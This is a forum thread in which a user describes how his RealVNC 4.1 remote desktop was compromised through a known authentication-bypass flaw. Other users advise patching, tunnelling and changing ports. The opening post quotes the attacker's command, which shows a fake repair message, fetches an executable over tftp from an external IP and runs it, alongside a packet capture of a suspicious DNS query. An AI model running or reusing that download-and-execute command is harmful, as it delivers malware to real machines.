Broadband Tech > Security > Security > VNC...I got spanked

VNC...I got spanked

%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 83.21 7.11 3.207 GET gefgl.exe & start gefgl&
 

No.     Time        Source                Destination           Protocol Info
      8 7.188722    192.168.254.100       192.168.254.254       DNS      Standard query A pdfrvgteqe.ecbebpbswppnlhivbogg.com
 
Frame 8 (95 bytes on wire, 95 bytes captured)
Ethernet II, Src: Intel_02:9b:1c (00:11:11:02:9b:1c), Dst: 192.168.254.254 (00:a0:65:c8:01:28)
Internet Protocol, Src: 192.168.254.100 (192.168.254.100), Dst: 192.168.254.254 (192.168.254.254)
User Datagram Protocol, Src Port: 1047 (1047), Dst Port: domain (53)
Domain Name System (query)
 

15 minutes has to be a record time.
Have you checked the cmd run history?

reply to Dennis
This is why you run VNC over a VPN or SSH tunnel.

reply to Dennis
Which VNC app were you running (RealVNC, UltraVNC, TightVNC) and which version of the given app?
--
AMD, because it's just better.

Real VNC 4.1...in service mode. In hindsight, using the default port was a mistake, but the whole "bypass the password" thing really caught me off guard. I mean less than 15 minutes....10 really. Took them milliseconds...I just happened to be in front of the computer thank god.

yes i checked the cmd history, that's how i got the syntax I did...plus, let's be honest you can't run VNC service mode in l2tp/vpn/ssh mode all the time. I really had only indended it to be active while I was connecting (wife turning it on and off).

reply to Dennis
If by 4.1 you mean 4.1.0, then yeah I'm not really suprised.

Exploit code surfaced in May of 2006 that bypasses the password authentication in RealVNC 4.1.0 and 4.1.1. As stated above, you should be using 4.1.2 as the vulnerability has been fixed in this version.
--
AMD, because it's just better.

reply to NetFixer

reply to Dennis

guess I was a little to quick to dismiss it honestly. for this exact moment though the time it would take to set that up for me would be a detriment. I just threw up vnc because i've worked with it and knew i could do a port forward in a few minutes.

Good point though, it's just that I don't often need to get into my main machine (not a big road warrior) and honestly if it wasn't for the massive amounts of spam I get I wouldn't even bother. But while i'm traveling, outlook express is just to hard to handle.

But my main point is, yes your right. It could be done.
--
My Blog. Because I desperately need the acknowledgement of others.

Mainegirl and my Beer Review's

We had a baby!

reply to Dennis
I just use Hamachi, simple + quick VPN.

reply to Dennis
Another security measure you may want to look at is creating a user account with absolutely no access except to do the small amount of things you want to do (like only run Outlook or Thunderbird in this case) and log in as that before you leave.

reply to Dennis
This is why you should always run services such as VNC or SSH on non-standard ports -- it will prevent 99% of all automated exploits from working.

(Of course, in this case the root cause seems to have been using an older version with known vulnerabilities, but the above principle still applies.)
--
Mischel Internet Security
http://www.misec.net

reply to Dennis
Well I just installed 4.1.1 on my VM and running it all ports blazing with full logging. Will see what I get and when.

edit:
DAMN 6 HOURS AND NADA!!!!

reply to Dennis
Why bother running a ssh when you can use something like ultravnc that supports encryption? Are there any additional benefits? You sparked my interest about running ssh.. I can see using one if your going to be using remote desktop, but imho ultravnc does everything with a lot less work..

reply to Dennis

quote:

---

Why bother running a ssh when you can use something like ultravnc that supports encryption? Are there any additional benefits? You sparked my interest about running ssh.. I can see using one if your going to be using remote desktop, but imho ultravnc does everything with a lot less work..

---

reply to Dennis
Ok I had mine Real VNC 4.1.1 on for 10 hours, with NO PASSWORD (authentification), Default ports and on the DMZ IP...no infection, no control take over... It makes me sad .